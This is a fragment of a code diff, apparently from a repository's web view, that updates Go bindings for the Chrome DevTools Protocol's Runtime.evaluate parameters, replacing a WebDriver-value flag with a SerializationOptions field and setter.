ReplMode bool `json:"replMode,omitempty"` // Setting this flag to true enables let re-declaration and top-level await. Note that let variables can only be re-declared if they originate from replMode themselves.
|
||||
AllowUnsafeEvalBlockedByCSP bool `json:"allowUnsafeEvalBlockedByCSP,omitempty"` // The Content Security Policy (CSP) for the target might block 'unsafe-eval' which includes eval(), Function(), setTimeout() and setInterval() when called with non-callable arguments. This flag bypasses CSP for this evaluation and allows unsafe-eval. Defaults to true.
|
||||
UniqueContextID string `json:"uniqueContextId,omitempty"` // An alternative way to specify the execution context to evaluate in. Compared to contextId that may be reused across processes, this is guaranteed to be system-unique, so it can be used to prevent accidental evaluation of the expression in context different than intended (e.g. as a result of navigation across process boundaries). This is mutually exclusive with contextId.
|
||||
GenerateWebDriverValue bool `json:"generateWebDriverValue,omitempty"` // Whether the result should be serialized according to https://w3c.github.io/webdriver-bidi.
|
||||
Expression string `json:"expression"` // Expression to evaluate.
|
||||
ObjectGroup string `json:"objectGroup,omitempty"` // Symbolic group name that can be used to release multiple objects.
|
||||
IncludeCommandLineAPI bool `json:"includeCommandLineAPI,omitempty"` // Determines whether Command Line API should be available during the evaluation.
|
||||
Silent bool `json:"silent,omitempty"` // In silent mode exceptions thrown during evaluation are not reported and do not pause execution. Overrides setPauseOnException state.
|
||||
ContextID ExecutionContextID `json:"contextId,omitempty"` // Specifies in which execution context to perform evaluation. If the parameter is omitted the evaluation will be performed in the context of the inspected page. This is mutually exclusive with uniqueContextId, which offers an alternative way to identify the execution context that is more reliable in a multi-process environment.
|
||||
ReturnByValue bool `json:"returnByValue,omitempty"` // Whether the result is expected to be a JSON object that should be sent by value.
|
||||
GeneratePreview bool `json:"generatePreview,omitempty"` // Whether preview should be generated for the result.
|
||||
UserGesture bool `json:"userGesture,omitempty"` // Whether execution should be treated as initiated by user in the UI.
|
||||
AwaitPromise bool `json:"awaitPromise,omitempty"` // Whether execution should await for resulting value and return once awaited promise is resolved.
|
||||
ThrowOnSideEffect bool `json:"throwOnSideEffect,omitempty"` // Whether to throw an exception if side effect cannot be ruled out during evaluation. This implies disableBreaks below.
|
||||
Timeout TimeDelta `json:"timeout,omitempty"` // Terminate execution after timing out (number of milliseconds).
|
||||
DisableBreaks bool `json:"disableBreaks,omitempty"` // Disable breakpoints during execution.
|
||||
ReplMode bool `json:"replMode,omitempty"` // Setting this flag to true enables let re-declaration and top-level await. Note that let variables can only be re-declared if they originate from replMode themselves.
|
||||
AllowUnsafeEvalBlockedByCSP bool `json:"allowUnsafeEvalBlockedByCSP,omitempty"` // The Content Security Policy (CSP) for the target might block 'unsafe-eval' which includes eval(), Function(), setTimeout() and setInterval() when called with non-callable arguments. This flag bypasses CSP for this evaluation and allows unsafe-eval. Defaults to true.
|
||||
UniqueContextID string `json:"uniqueContextId,omitempty"` // An alternative way to specify the execution context to evaluate in. Compared to contextId that may be reused across processes, this is guaranteed to be system-unique, so it can be used to prevent accidental evaluation of the expression in context different than intended (e.g. as a result of navigation across process boundaries). This is mutually exclusive with contextId.
|
||||
SerializationOptions *SerializationOptions `json:"serializationOptions,omitempty"` // Specifies the result serialization. If provided, overrides generatePreview and returnByValue.
|
||||
}
|
||||
|
||||
// Evaluate evaluates expression on global object.
|
||||
@@ -466,10 +464,10 @@ func (p EvaluateParams) WithUniqueContextID(uniqueContextID string) *EvaluatePar
|
||||
return &p
|
||||
}
|
||||
|
||||
// WithGenerateWebDriverValue whether the result should be serialized
|
||||
// according to https://w3c.github.io/webdriver-bidi.
|
||||
func (p EvaluateParams) WithGenerateWebDriverValue(generateWebDriverValue bool) *EvaluateParams {
|
||||
p.GenerateWebDriverValue = generateWebDriverValue
|
||||
// WithSerializationOptions specifies the result serialization. If provided,
|
||||
// overrides generatePreview and returnByValue.
|
||||
func (p EvaluateParams) WithSerializationOptions(serializationOptions *SerializationOptions) *EvaluateParams {
|
||||
p.SerializationOptions = serializationOptions
|
||||
return &p
|
||||
}
|
||||
|
||||
|
||||
Loaded 100 of 134 files, more files were not shown because too many files have changed in this diff.
Show more
Reference in new issue
Block a user